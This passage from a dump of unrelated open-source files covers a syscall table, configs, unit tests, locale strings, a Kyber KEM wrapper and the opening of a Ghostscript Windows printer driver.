= 324\n\tSYS_TIMERFD_SETTIME = 325\n\tSYS_TIMERFD_GETTIME = 326\n\tSYS_SIGNALFD4 = 327\n\tSYS_EVENTFD2 = 328\n\tSYS_EPOLL_CREATE1 = 329\n\tSYS_DUP3 = 330\n\tSYS_PIPE2 = 331\n\tSYS_INOTIFY_INIT1 = 332\n\tSYS_PREADV = 333\n\tSYS_PWRITEV = 334\n\tSYS_RT_TGSIGQUEUEINFO = 335\n\tSYS_PERF_EVENT_OPEN = 336\n\tSYS_RECVMMSG = 337\n\tSYS_FANOTIFY_INIT = 338\n\tSYS_FANOTIFY_MARK = 339\n\tSYS_PRLIMIT64 = 340\n\tSYS_NAME_TO_HANDLE_AT = 341\n\tSYS_OPEN_BY_HANDLE_AT = 342\n\tSYS_CLOCK_ADJTIME = 343\n\tSYS_SYNCFS = 344\n\tSYS_SENDMMSG = 345\n\tSYS_SETNS = 346\n\tSYS_PROCESS_VM_READV = 347\n\tSYS_PROCESS_VM_WRITEV = 348\n\tSYS_KCMP = 349\n\tSYS_FINIT_MODULE = 350\n\tSYS_SCHED_SETATTR = 351\n\tSYS_SCHED_GETATTR = 352\n\tSYS_RENAMEAT2 = 353\n\tSYS_SECCOMP = 354\n\tSYS_GETRANDOM = 355\n\tSYS_MEMFD_CREATE = 356\n\tSYS_BPF = 357\n\tSYS_EXECVEAT = 358\n\tSYS_SOCKET = 359\n\tSYS_SOCKETPAIR = 360\n\tSYS_BIND = 361\n\tSYS_CONNECT = 362\n\tSYS_LISTEN = 363\n\tSYS_ACCEPT4 = 364\n\tSYS_GETSOCKOPT = 365\n\tSYS_SETSOCKOPT = 366\n\tSYS_GETSOCKNAME = 367\n\tSYS_GETPEERNAME = 368\n\tSYS_SENDTO = 369\n\tSYS_SENDMSG = 370\n\tSYS_RECVFROM = 371\n\tSYS_RECVMSG = 372\n\tSYS_SHUTDOWN = 373\n\tSYS_USERFAULTFD = 374\n\tSYS_MEMBARRIER = 375\n\tSYS_MLOCK2 = 376\n\tSYS_COPY_FILE_RANGE = 377\n\tSYS_PREADV2 = 378\n\tSYS_PWRITEV2 = 379\n\tSYS_PKEY_MPROTECT = 380\n\tSYS_PKEY_ALLOC = 381\n\tSYS_PKEY_FREE = 382\n\tSYS_STATX = 383\n\tSYS_ARCH_PRCTL = 384\n\tSYS_IO_PGETEVENTS = 385\n\tSYS_RSEQ = 386\n\tSYS_SEMGET = 393\n\tSYS_SEMCTL = 394\n\tSYS_SHMGET = 395\n\tSYS_SHMCTL = 396\n\tSYS_SHMAT = 397\n\tSYS_SHMDT = 398\n\tSYS_MSGGET = 399\n\tSYS_MSGSND = 400\n\tSYS_MSGRCV = 401\n\tSYS_MSGCTL = 402\n\tSYS_CLOCK_GETTIME64 = 403\n\tSYS_CLOCK_SETTIME64 = 404\n\tSYS_CLOCK_ADJTIME64 = 405\n\tSYS_CLOCK_GETRES_TIME64 = 406\n\tSYS_CLOCK_NANOSLEEP_TIME64 = 407\n\tSYS_TIMER_GETTIME64 = 408\n\tSYS_TIMER_SETTIME64 = 409\n\tSYS_TIMERFD_GETTIME64 = 410\n\tSYS_TIMERFD_SETTIME64 = 411\n\tSYS_UTIMENSAT_TIME64 = 412\n\tSYS_PSELECT6_TIME64 = 413\n\tSYS_PPOLL_TIME64 = 414\n\tSYS_IO_PGETEVENTS_TIME64 = 416\n\tSYS_RECVMMSG_TIME64 = 417\n\tSYS_MQ_TIMEDSEND_TIME64 = 418\n\tSYS_MQ_TIMEDRECEIVE_TIME64 = 419\n\tSYS_SEMTIMEDOP_TIME64 = 420\n\tSYS_RT_SIGTIMEDWAIT_TIME64 = 421\n\tSYS_FUTEX_TIME64 = 422\n\tSYS_SCHED_RR_GET_INTERVAL_TIME64 = 423\n\tSYS_PIDFD_SEND_SIGNAL = 424\n\tSYS_IO_URING_SETUP = 425\n\tSYS_IO_URING_ENTER = 426\n\tSYS_IO_URING_REGISTER = 427\n\tSYS_OPEN_TREE = 428\n\tSYS_MOVE_MOUNT = 429\n\tSYS_FSOPEN = 430\n\tSYS_FSCONFIG = 431\n\tSYS_FSMOUNT = 432\n\tSYS_FSPICK = 433\n\tSYS_PIDFD_OPEN = 434\n\tSYS_CLONE3 = 435\n\tSYS_OPENAT2 = 437\n\tSYS_PIDFD_GETFD = 438\n\tSYS_FACCESSAT2 = 439\n)\n"} +{"text": "{\n \"extends\": \"@uifabric/build/api-extractor/api-extractor.common.json\"\n}\n"} +{"text": "\n\n\n \n \n AW22 Test.11.01.3 NA 05\n \n \n
    \n\n

    AW22 Test.11.01.3 NA 05

    \n\n

    \n \n Does each form field (input tag of type text, password, checkbox, radio, file, or textarea and select tags), that is associated with a label (label tag), pass the conditions below?\n

      \n
    • The form field has an id attribute
    • \n
    • The value of the id attribute is unique
    • \n
    \n \n

    \n\n
    \n
    \n

    \n \n \n

    \n
    \n
    \n\n

    \n NA: the page has no form field associated with a label tag\n

    \n\n
    \n \n\n"} +{"text": "/*---------------------------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Licensed under the MIT License. See License.txt in the project root for license information.\n *--------------------------------------------------------------------------------------------*/\n// Do not edit this file. It is machine generated.\n{\n\t\"autoDetect\": \"자동 감지\",\n\t\"changeEncoding\": \"파일 인코딩 변경\",\n\t\"changeEndOfLine\": \"줄 시퀀스의 끝 변경\",\n\t\"changeIndentation\": \"ID 변경\",\n\t\"changeMode\": \"언어 모드 변경\",\n\t\"configureAssociations\": \"파일 연결 구성...\",\n\t\"configureAssociationsExt\": \"'{0}'에 대한 파일 연결 구성...\",\n\t\"configuredLanguage\": \"구성된 언어\",\n\t\"disableTabMode\": \"접근성 모드 사용 안 함\",\n\t\"endOfLineCarriageReturnLineFeed\": \"CRLF\",\n\t\"endOfLineLineFeed\": \"LF\",\n\t\"gotoLine\": \"줄 이동\",\n\t\"indentConvert\": \"파일 변환\",\n\t\"indentView\": \"보기 변경\",\n\t\"indentation\": \"들여쓰기\",\n\t\"languagesPicks\": \"언어\",\n\t\"multiSelection\": \"{0} 선택 항목\",\n\t\"multiSelectionRange\": \"{0} 선택 항목({1}자 선택됨)\",\n\t\"noEditor\": \"현재 활성 텍스트 편집기 없음\",\n\t\"noFileEditor\": \"현재 활성 파일 없음\",\n\t\"noWritableCodeEditor\": \"활성 코드 편집기는 읽기 전용입니다.\",\n\t\"persistFileAssociations\": \"**files.associations** 섹션에서 파일 이름과 언어를 연결하도록 구성할 수 있습니다. 변경 내용을 이미 열린 파일에 적용하려면 다시 시작해야 할 수 있습니다.\",\n\t\"pickAction\": \"작업 선택\",\n\t\"pickEncodingForReopen\": \"파일을 다시 열 파일 인코딩 선택\",\n\t\"pickEncodingForSave\": \"파일을 저장할 파일 인코딩 선택\",\n\t\"pickEndOfLine\": \"줄 시퀀스의 끝 선택\",\n\t\"pickLanguage\": \"언어 모드 선택\",\n\t\"reopenWithEncoding\": \"인코딩하여 다시 열기\",\n\t\"saveWithEncoding\": \"인코딩하여 저장\",\n\t\"selectEOL\": \"줄 시퀀스의 끝 선택\",\n\t\"selectEncoding\": \"인코딩 선택\",\n\t\"selectLanguageMode\": \"언어 모드 선택\",\n\t\"singleSelection\": \"줄 {0}, 열 {1}\",\n\t\"singleSelectionRange\": \"줄 {0}, 열 {1}({2} 선택됨)\",\n\t\"spacesSize\": \"공간: {0}\",\n\t\"tabFocusModeEnabled\": \"Tab으로 포커스 이동\",\n\t\"tabSize\": \"Tab 크기: {0}\"\n}"} +{"text": "// Copyright (c) 2015 Martin Ridgers\n// License: http://opensource.org/licenses/MIT\n\n#include \"pch.h\"\n#include \"log.h\"\n\n#include \n\n//------------------------------------------------------------------------------\nlogger::~logger()\n{\n}\n\n//------------------------------------------------------------------------------\nvoid logger::info(const char* function, int line, const char* fmt, ...)\n{\n logger* instance = logger::get();\n if (instance == nullptr)\n return;\n\n va_list args;\n va_start(args, fmt);\n instance->emit(function, line, fmt, args);\n va_end(args);\n}\n\n//------------------------------------------------------------------------------\nvoid logger::error(const char* function, int line, const char* fmt, ...)\n{\n logger* instance = logger::get();\n if (instance == nullptr)\n return;\n\n DWORD last_error = GetLastError();\n\n va_list args;\n va_start(args, fmt);\n\n logger::info(function, line, \"*** ERROR ***\");\n instance->emit(function, line, fmt, args);\n logger::info(function, line, \"(last error = %d)\", last_error);\n\n va_end(args);\n}\n\n\n\n//------------------------------------------------------------------------------\nfile_logger::file_logger(const char* log_path)\n{\n m_log_path << log_path;\n}\n\n//------------------------------------------------------------------------------\nvoid file_logger::emit(const char* function, int line, const char* fmt, va_list args)\n{\n FILE* file;\n\n file = fopen(m_log_path.c_str(), \"at\");\n if (file == nullptr)\n return;\n\n str<24> func_name;\n func_name << function;\n\n DWORD pid = GetCurrentProcessId();\n\n str<256> buffer;\n buffer.format(\"%04x %-24s %4d \", pid, func_name.c_str(), line);\n fputs(buffer.c_str(), file);\n vfprintf(file, fmt, args);\n fputs(\"\\n\", file);\n\n fclose(file);\n}\n"} +{"text": "require File.expand_path(File.dirname(__FILE__) + '/helper')\n\ndescribe \"Message\" do\n describe 'the message' do\n it 'should accept headers and body' do\n message = Mail::Message.new do\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n body 'This is a body of text'\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'This is a body of text', message.body.to_s.chomp\n end\n\n it 'should raise an error if template was not found' do\n assert_raises Padrino::Rendering::TemplateNotFound do\n Mail::Message.new do\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n render 'foo/bar'\n end\n end\n end\n\n it 'should use locals' do\n message = Mail::Message.new do\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n locals :foo => \"Im Foo!\"\n body erb(\"<%= foo %>\")\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'Im Foo!', message.body.to_s.chomp\n end\n\n it 'should use views paths' do\n message = Mail::Message.new do\n views File.dirname(__FILE__) + '/fixtures/views/mailers'\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n render :bar\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'This is a bar message in mailers dir', message.body.to_s.chomp\n end\n\n it 'should use views and mailers paths' do\n message = Mail::Message.new do\n views File.dirname(__FILE__) + '/fixtures/views/mailers'\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n render 'alternate/foo'\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'This is a foo message in mailers/alternate dir', message.body.to_s.chomp\n end\n\n it 'should use layouts' do\n message = Mail::Message.new do\n views File.dirname(__FILE__) + '/fixtures/views/mailers'\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n render 'sample/foo', :layout => :\"layouts/sample\"\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'Layout Sample This is a foo message in mailers/sample dir', message.body.to_s.strip\n end\n\n it 'should use i18n' do\n I18n.locale = :en\n\n message = Mail::Message.new do\n views File.dirname(__FILE__) + '/fixtures/views/mailers'\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n render 'i18n/hello'\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'Hello World', message.body.to_s.chomp\n\n I18n.locale = :it\n\n message = Mail::Message.new do\n views File.dirname(__FILE__) + '/fixtures/views/mailers'\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n render 'i18n/hello'\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'Salve Mondo', message.body.to_s.chomp\n end\n\n it 'should auto lookup template for the given content_type' do\n message = Mail::Message.new do\n views File.dirname(__FILE__) + '/fixtures/views/mailers'\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n content_type 'text/html'\n render 'multipart/basic'\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'text html', message.body.to_s.chomp\n message.encoded\n assert_equal :html, message.content_type\n\n message = Mail::Message.new do\n views File.dirname(__FILE__) + '/fixtures/views/mailers'\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n content_type :plain\n render 'multipart/basic'\n end\n\n assert_equal ['padrino@me.com'], message.from\n assert_equal ['padrino@you.com'], message.to\n assert_equal 'Hello there Padrino', message.subject\n assert_equal 'plain text', message.body.to_s.chomp\n message.encoded\n assert_equal :plain, message.content_type\n end\n\n it 'should render partials' do\n objects = [1,2,'',''.html_safe]\n message = Mail::Message.new do\n from 'padrino@me.com'\n to 'padrino@you.com'\n subject 'Hello there Padrino'\n views File.dirname(__FILE__) + '/fixtures/views/mailers'\n partial 'partial/object', :collection => objects\n end\n\n assert_equal \"Object 1
    \\nObject 2
    \\nObject <evil>
    \\nObject
    \", message.body.to_s.chomp\n end\n end\nend\n"} +{"text": "import {JSONResource} from './json.resource';\n\ndescribe('JSONResource', () => {\n it('should be defined', () => {\n expect(JSONResource).toBeDefined();\n });\n it('should succeed with good url', (done) => {\n new JSONResource()\n .fetch('assets/test/example.json')\n .then((res: JSONResource) => {\n expect(res.data.result).toBe('OK');\n done();\n });\n });\n it('should fail with bad url', (done) => {\n new JSONResource()\n .fetch('base/bad/does/not/exist.json')\n .catch(() => done());\n });\n});\n"} +{"text": "/*\n Erica Sadun, http://ericasadun.com\n iPhone Developer's Cookbook, 6.x Edition\n BSD License, Use at your own risk\n */\n\n#import \n\n@interface ModalSheetDelegate : NSObject \n{\n UIActionSheet *actionSheet;\n int index;\n}\n+ (id) delegateWithSheet: (UIActionSheet *) aSheet;\n- (int) showFromBarButtonItem:(UIBarButtonItem *)item animated:(BOOL)animated;\n- (int) showFromRect:(CGRect)rect inView:(UIView *)view animated:(BOOL)animated;\n- (int) showFromTabBar:(UITabBar *)view;\n- (int) showFromToolbar:(UIToolbar *)view;\n- (int) showInView:(UIView *)view;\n@end\n"} +{"text": "// remove the fixtures\nvar tap = require(\"tap\")\n, rimraf = require(\"rimraf\")\n, path = require(\"path\")\n\ntap.test(\"cleanup fixtures\", function (t) {\n rimraf(path.resolve(__dirname, \"a\"), function (er) {\n t.ifError(er, \"removed\")\n t.end()\n })\n})\n"} +{"text": "\n 42\n POINT LIGHT 1Settings\n 1\n 1.000000000\n 331.000000000\n\n\n 2\n ENABLE\n 1\n\n\n 25\n X\n 0.000000000\n\n\n 25\n Y\n 0.000000000\n\n\n 25\n Z\n 0.000000000\n\n\n 25\n AH\n 0.000000000\n\n\n 25\n AS\n 0.000000000\n\n\n 25\n AV\n 0.500000000\n\n\n 25\n DH\n 0.000000000\n\n\n 25\n DS\n 0.000000000\n\n\n 25\n DV\n 0.500000000\n\n\n 25\n SH\n 0.000000000\n\n\n 25\n SS\n 0.000000000\n\n\n 25\n SV\n 0.500000000\n\n"} +{"text": "// Use 'page.injectJs()' to load the script itself in the Page context\n\nif ( typeof(phantom) !== \"undefined\" ) {\n var page = require('webpage').create();\n\n // Route \"console.log()\" calls from within the Page context to the main Phantom context (i.e. current \"this\")\n page.onConsoleMessage = function(msg) {\n console.log(msg);\n };\n \n page.onAlert = function(msg) {\n console.log(msg);\n };\n \n console.log(\"* Script running in the Phantom context.\");\n console.log(\"* Script will 'inject' itself in a page...\");\n page.open(\"about:blank\", function(status) {\n if ( status === \"success\" ) {\n console.log(page.injectJs(\"injectme.js\") ? \"... done injecting itself!\" : \"... fail! Check the $PWD?!\");\n }\n phantom.exit();\n });\n} else {\n alert(\"* Script running in the Page context.\");\n}\n"} +{"text": "// SPDX-License-Identifier: MIT\n\n#include \n\n#include \n\n#if defined(OQS_ENABLE_KEM_kyber_768_90s)\n\nOQS_KEM *OQS_KEM_kyber_768_90s_new() {\n\n\tOQS_KEM *kem = malloc(sizeof(OQS_KEM));\n\tif (kem == NULL) {\n\t\treturn NULL;\n\t}\n\tkem->method_name = OQS_KEM_alg_kyber_768_90s;\n\tkem->alg_version = \"https://github.com/pq-crystals/kyber/commit/46e283ab575ec92dfe82fb12229ae2d9d6246682\";\n\n\tkem->claimed_nist_level = 3;\n\tkem->ind_cca = true;\n\n\tkem->length_public_key = OQS_KEM_kyber_768_90s_length_public_key;\n\tkem->length_secret_key = OQS_KEM_kyber_768_90s_length_secret_key;\n\tkem->length_ciphertext = OQS_KEM_kyber_768_90s_length_ciphertext;\n\tkem->length_shared_secret = OQS_KEM_kyber_768_90s_length_shared_secret;\n\n\tkem->keypair = OQS_KEM_kyber_768_90s_keypair;\n\tkem->encaps = OQS_KEM_kyber_768_90s_encaps;\n\tkem->decaps = OQS_KEM_kyber_768_90s_decaps;\n\n\treturn kem;\n}\n\nextern int PQCLEAN_KYBER76890S_CLEAN_crypto_kem_keypair(unsigned char *pk, unsigned char *sk);\nextern int PQCLEAN_KYBER76890S_CLEAN_crypto_kem_enc(unsigned char *ct, unsigned char *ss, const unsigned char *pk);\nextern int PQCLEAN_KYBER76890S_CLEAN_crypto_kem_dec(unsigned char *ss, const unsigned char *ct, const unsigned char *sk);\n\n#if defined(OQS_ENABLE_KEM_kyber_768_90s_avx2)\nextern int PQCLEAN_KYBER76890S_AVX2_crypto_kem_keypair(unsigned char *pk, unsigned char *sk);\nextern int PQCLEAN_KYBER76890S_AVX2_crypto_kem_enc(unsigned char *ct, unsigned char *ss, const unsigned char *pk);\nextern int PQCLEAN_KYBER76890S_AVX2_crypto_kem_dec(unsigned char *ss, const unsigned char *ct, const unsigned char *sk);\n#endif\n\nOQS_API OQS_STATUS OQS_KEM_kyber_768_90s_keypair(uint8_t *public_key, uint8_t *secret_key) {\n#if defined(OQS_ENABLE_KEM_kyber_768_90s_avx2)\n#if defined(OQS_PORTABLE_BUILD)\n\tOQS_CPU_EXTENSIONS available_cpu_extensions = OQS_get_available_CPU_extensions();\n\tif (available_cpu_extensions.AES_ENABLED && available_cpu_extensions.AVX2_ENABLED && available_cpu_extensions.BMI2_ENABLED && available_cpu_extensions.POPCNT_ENABLED) {\n#endif /* OQS_PORTABLE_BUILD */\n\t\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_AVX2_crypto_kem_keypair(public_key, secret_key);\n#if defined(OQS_PORTABLE_BUILD)\n\t} else {\n\t\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_CLEAN_crypto_kem_keypair(public_key, secret_key);\n\t}\n#endif /* OQS_PORTABLE_BUILD */\n#else\n\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_CLEAN_crypto_kem_keypair(public_key, secret_key);\n#endif\n}\n\nOQS_API OQS_STATUS OQS_KEM_kyber_768_90s_encaps(uint8_t *ciphertext, uint8_t *shared_secret, const uint8_t *public_key) {\n#if defined(OQS_ENABLE_KEM_kyber_768_90s_avx2)\n#if defined(OQS_PORTABLE_BUILD)\n\tOQS_CPU_EXTENSIONS available_cpu_extensions = OQS_get_available_CPU_extensions();\n\tif (available_cpu_extensions.AES_ENABLED && available_cpu_extensions.AVX2_ENABLED && available_cpu_extensions.BMI2_ENABLED && available_cpu_extensions.POPCNT_ENABLED) {\n#endif /* OQS_PORTABLE_BUILD */\n\t\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_AVX2_crypto_kem_enc(ciphertext, shared_secret, public_key);\n#if defined(OQS_PORTABLE_BUILD)\n\t} else {\n\t\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_CLEAN_crypto_kem_enc(ciphertext, shared_secret, public_key);\n\t}\n#endif /* OQS_PORTABLE_BUILD */\n#else\n\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_CLEAN_crypto_kem_enc(ciphertext, shared_secret, public_key);\n#endif\n}\n\nOQS_API OQS_STATUS OQS_KEM_kyber_768_90s_decaps(uint8_t *shared_secret, const unsigned char *ciphertext, const uint8_t *secret_key) {\n#if defined(OQS_ENABLE_KEM_kyber_768_90s_avx2)\n#if defined(OQS_PORTABLE_BUILD)\n\tOQS_CPU_EXTENSIONS available_cpu_extensions = OQS_get_available_CPU_extensions();\n\tif (available_cpu_extensions.AES_ENABLED && available_cpu_extensions.AVX2_ENABLED && available_cpu_extensions.BMI2_ENABLED && available_cpu_extensions.POPCNT_ENABLED) {\n#endif /* OQS_PORTABLE_BUILD */\n\t\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_AVX2_crypto_kem_dec(shared_secret, ciphertext, secret_key);\n#if defined(OQS_PORTABLE_BUILD)\n\t} else {\n\t\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_CLEAN_crypto_kem_dec(shared_secret, ciphertext, secret_key);\n\t}\n#endif /* OQS_PORTABLE_BUILD */\n#else\n\treturn (OQS_STATUS) PQCLEAN_KYBER76890S_CLEAN_crypto_kem_dec(shared_secret, ciphertext, secret_key);\n#endif\n}\n\n#endif\n"} +{"text": "using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.InteropServices.WindowsRuntime;\nusing Windows.Foundation;\nusing Windows.Foundation.Collections;\nusing Windows.UI.Xaml;\nusing Windows.UI.Xaml.Controls;\nusing Windows.UI.Xaml.Controls.Primitives;\nusing Windows.UI.Xaml.Data;\nusing Windows.UI.Xaml.Input;\nusing Windows.UI.Xaml.Media;\nusing Windows.UI.Xaml.Navigation;\n\nnamespace PrismSample.UWP\n{\n public sealed partial class MainPage\n {\n public MainPage()\n {\n this.InitializeComponent();\n\n LoadApplication(new PrismSample.App());\n }\n }\n}\n"} +{"text": "source 'https://rubygems.org'\nruby '2.1.2'\n\ngem 'rake'\ngem 'jekyll'\ngem 'sass'\n"} +{"text": "/* Copyright (C) 1989, 1995, 1996, 1997, 1998, 2000 Aladdin Enterprises. All rights reserved.\n \n This software is provided AS-IS with no warranty, either express or\n implied.\n \n This software is distributed under license and may not be copied,\n modified or distributed except as expressly authorized under the terms\n of the license contained in the file LICENSE in this distribution.\n \n For more information about licensing, please refer to\n http://www.ghostscript.com/licensing/. For information on\n commercial licensing, go to http://www.artifex.com/licensing/ or\n contact Artifex Software, Inc., 101 Lucas Valley Road #110,\n San Rafael, CA 94903, U.S.A., +1(415)492-9861.\n*/\n\n/* $Id: gdevwprn.c,v 1.10 2004/08/10 13:02:36 stefan Exp $ */\n/*\n * Microsoft Windows 3.n printer driver for Ghostscript.\n *\n * Original version by Russell Lang and\n * L. Peter Deutsch, Aladdin Enterprises.\n */\n\n/* This driver is very slow and as of 2002-09-14 it does not work. */\n\n#include \"gdevmswn.h\"\n#include \"gp.h\"\n#include \"gpcheck.h\"\n#include \"commdlg.h\"\n\n#define PARENT_WINDOW HWND_DESKTOP\n\n\n/*\n ****** NOTE: this module and gdevwddb should be refactored.\n * The drawing routines are almost identical.\n * The differences are that the mswinprn doesn't use an extra\n * palette (gdevwddb.c could probably be made to work with \n * one palette also), mswinprn doesn't call win_update() because\n * hwndimg doesn't exist, and the HDC is hdcmf not hdcbit.\n ******/\n\n/* Make sure we cast to the correct structure type. */\ntypedef struct gx_device_win_prn_s gx_device_win_prn;\n\n#undef wdev\n#define wdev ((gx_device_win_prn *)dev)\n\n/* Forward references */\nprivate void near win_prn_addtool(gx_device_win_prn *, int);\nprivate void near win_prn_maketools(gx_device_win_prn *, HDC);\nprivate void near win_prn_destroytools(gx_device_win_prn *);\nBOOL CALLBACK _export AbortProc(HDC, int);\n\n/* Device procedures */\n\n/* See gxdevice.h for the definitions of the procedures. */\nprivate dev_proc_open_device(win_prn_open);\nprivate dev_proc_close_device(win_prn_close);\nprivate dev_proc_sync_output(win_prn_sync_output);\nprivate dev_proc_output_page(win_prn_output_page);\nprivate dev_proc_map_rgb_color(win_prn_map_rgb_color);\nprivate dev_proc_fill_rectangle(win_prn_fill_rectangle);\nprivate dev_proc_tile_rectangle(win_prn_tile_rectangle);\nprivate dev_proc_copy_mono(win_prn_copy_mono);\nprivate dev_proc_copy_color(win_prn_copy_color);\nprivate dev_proc_draw_line(win_prn_draw_line);\n\n/* The device descriptor */\nstruct gx_device_win_prn_s {\n gx_device_common;\n gx_device_win_common;\n\n /* Handles */\n\n HPEN hpen, *hpens;\n uint hpensize;\n HBRUSH hbrush, *hbrushs;\n uint hbrushsize;\n#define select_brush(color)\\\n if (wdev->hbrush != wdev->hbrushs[color])\\\n {\twdev->hbrush = wdev->hbrushs[color];\\\n\tSelectObject(wdev->hdcmf,wdev->hbrush);\\\n }\n /* A staging bitmap for copy_mono. */\n /* We want one big enough to handle the standard 16x16 halftone; */\n /* this is also big enough for ordinary-size characters. */\n\n#define bmWidthBytes 4\t\t/* must be even */\n#define bmWidthBits (bmWidthBytes * 8)\n#define bmHeight 32\n HBITMAP FAR hbmmono;\n HDC FAR hdcmono;\n gx_bitmap_id bm_id;\n\n HDC hdcprn;\n HDC hdcmf;\n char mfname[gp_file_name_sizeof];\n DLGPROC lpfnAbortProc;\n};\nprivate const gx_device_procs win_prn_procs =\n{\n win_prn_open,\n NULL,\t\t\t/* get_initial_matrix */\n win_prn_sync_output,\n win_prn_output_page,\n win_prn_close,\n win_prn_map_rgb_color,\n win_map_color_rgb,\n win_prn_fill_rectangle,\n win_prn_tile_rectangle,\n win_prn_copy_mono,\n win_prn_copy_color,\n win_prn_draw_line,\n NULL,\t\t\t/* get_bits */\n NULL,\t\t\t/* get_params */\n NULL,\t\t\t/* put_params */\n NULL,\t\t\t/* map_cmyk_color */\n win_get_xfont_procs\n};\ngx_device_win_prn far_data gs_mswinprn_device =\n{\n std_device_std_body(gx_device_win_prn, &win_prn_procs, \"mswinprn\",\n\t\t\tINITIAL_WIDTH, INITIAL_HEIGHT,\t/* win_open() fills these in later */\n\t\t\tINITIAL_RESOLUTION, INITIAL_RESOLUTION\t/* win_open() fills these in later */\n ),\n {0},\t\t\t/* std_procs */\n 0,\t\t\t\t/* BitsPerPixel */\n 2,\t\t\t\t/* nColors */\n};\n\n/* Open the win_prn driver */\nprivate int\nwin_prn_open(gx_device * dev)\n{\n int depth;\n PRINTDLG pd;\n FILE *f;\n POINT offset;\n POINT size;\n float m[4];\n\n memset(&pd, 0, sizeof(PRINTDLG));\n pd.lStructSize = sizeof(PRINTDLG);\n pd.hwndOwner = PARENT_WINDOW;\n pd.Flags = PD_PRINTSETUP | PD_RETURNDC;\n if (!PrintDlg(&pd)) {\n\t/* device not opened - exit ghostscript */\n\treturn gs_error_limitcheck;\n }\n GlobalFree(pd.hDevMode);\n GlobalFree(pd.hDevNames);\n pd.hDevMode = pd.hDevNames = NULL;\n wdev->hdcprn = pd.hDC;\n if (!(GetDeviceCaps(wdev->hdcprn, RASTERCAPS) != RC_BITBLT)) {\n\tDeleteDC(wdev->hdcprn);\n\treturn gs_error_limitcheck;\n }\n wdev->lpfnAbortProc = (DLGPROC) AbortProc;\n Escape(wdev->hdcprn, SETABORTPROC, 0, (LPSTR) wdev->lpfnAbortProc, NULL);\n if (Escape(wdev->hdcprn, STARTDOC, strlen(szAppName), szAppName, NULL) <= 0) {\n\tDeleteDC(wdev->hdcprn);\n\treturn gs_error_limitcheck;\n }\n f = gp_open_scratch_file(gp_scratch_file_name_prefix,\n\t\t\t wdev->mfname, \"wb\");\n if (f == (FILE *) NULL) {\n\tEscape(wdev->hdcprn, ENDDOC, 0, NULL, NULL);\n\tDeleteDC(wdev->hdcprn);\n\treturn gs_error_limitcheck;\n }\n unlink(wdev->mfname);\n wdev->hdcmf = CreateMetaFile(wdev->mfname);\n\n dev->x_pixels_per_inch = (float)GetDeviceCaps(wdev->hdcprn, LOGPIXELSX);\n dev->y_pixels_per_inch = (float)GetDeviceCaps(wdev->hdcprn, LOGPIXELSY);\n Escape(wdev->hdcprn, GETPHYSPAGESIZE, 0, NULL, (LPPOINT) & size);\n dev->width = size.x;\n dev->height = size.y;\n Escape(wdev->hdcprn, GETPRINTINGOFFSET, 0, NULL, (LPPOINT) & offset);\n m[0] /*left */ = offset.x / dev->x_pixels_per_inch;\n m[3] /*top */ = offset.y / dev->y_pixels_per_inch;\n m[2] /*right */ =\n\t(size.x - offset.x - GetDeviceCaps(wdev->hdcprn, HORZRES))\n\t/ dev->x_pixels_per_inch;\n m[1] /*bottom */ =\n\t(size.y - offset.y - GetDeviceCaps(wdev->hdcprn, VERTRES))\n\t/ dev->y_pixels_per_inch\n\t+ 0.15;\t\t\t/* hack to add a bit more margin for deskjet printer */\n gx_device_set_margins(dev, m, true);\n\n /* Set parameters that were unknown before opening device */\n /* Find out if the device supports color */\n /* We recognize 2, 16 or 256 color devices */\n depth = GetDeviceCaps(wdev->hdcprn, PLANES) * GetDeviceCaps(wdev->hdcprn, BITSPIXEL);\n if (depth >= 8) {\t\t/* use 64 static colors and 166 dynamic colors from 8 planes */\n\tstatic const gx_device_color_info win_256color = dci_color(8, 31, 4);\n\n\tdev->color_info = win_256color;\n\twdev->nColors = 64;\n } else if (depth >= 4) {\n\tstatic const gx_device_color_info win_16ega_color = dci_color(4, 2, 3);\n\n\tdev->color_info = win_16ega_color;\n\twdev->nColors = 16;\n } else {\t\t\t/* default is black_and_white */\n\twdev->nColors = 2;\n }\n\n /* copy encode/decode procedures */\n 